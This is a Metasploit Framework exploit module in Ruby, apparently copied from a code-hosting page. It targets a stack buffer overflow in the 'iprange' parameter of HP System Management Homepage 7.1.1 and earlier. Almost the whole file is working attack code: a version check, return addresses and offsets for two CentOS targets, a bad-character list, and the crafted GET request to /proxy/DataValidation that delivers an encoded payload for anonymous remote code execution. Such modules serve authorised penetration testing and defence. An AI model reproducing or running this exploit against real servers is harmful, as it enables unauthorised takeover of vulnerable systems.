104 lines
2.8 KiB
Ruby
104 lines
2.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HP System Management Anonymous Access Code Execution',
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'Description' => %q{
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This module exploits an anonymous remote code execution on HP System Management
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7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
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a request against /proxy/DataValidation. In order to work HP System Management must
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be configured with Anonymous access enabled.
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},
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'Author' => [ 'agix' ], # @agixid
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'License' => MSF_LICENSE,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 1000,
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'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ESP' # See the comments below
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}
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},
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'Platform' => ['linux'],
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'Arch' => ARCH_X86,
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'References' =>
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[
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['OSVDB', '91812']
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],
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'Targets' =>
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[
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[ 'HP System Management 7.1.1 - Linux (CentOS)',
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{
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'Ret' => 0x8054e14, # push esp / ret
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'Offset' => 267
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}
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],
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[ 'HP System Management 6.3.0 - Linux (CentOS)',
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{
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'Ret' => 0x805a547, # push esp / ret
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'Offset' => 267
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}
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]
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],
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'DisclosureDate' => 'Sep 01 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(2381),
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OptBool.new('SSL', [true, 'Use SSL', true])
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], self.class)
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "/cpqlogin.htm"
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})
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if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
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version = $1
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return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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padding = rand_text_alpha(target['Offset'])
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ret = [target['Ret']].pack('V')
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iprange = "a-bz"+padding+ret+payload.encoded
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print_status("#{rhost}:#{rport} - Sending exploit...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "/proxy/DataValidation",
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'encode_params' => false,
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'vars_get' => {
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'iprange' => iprange
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}
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})
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end
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end
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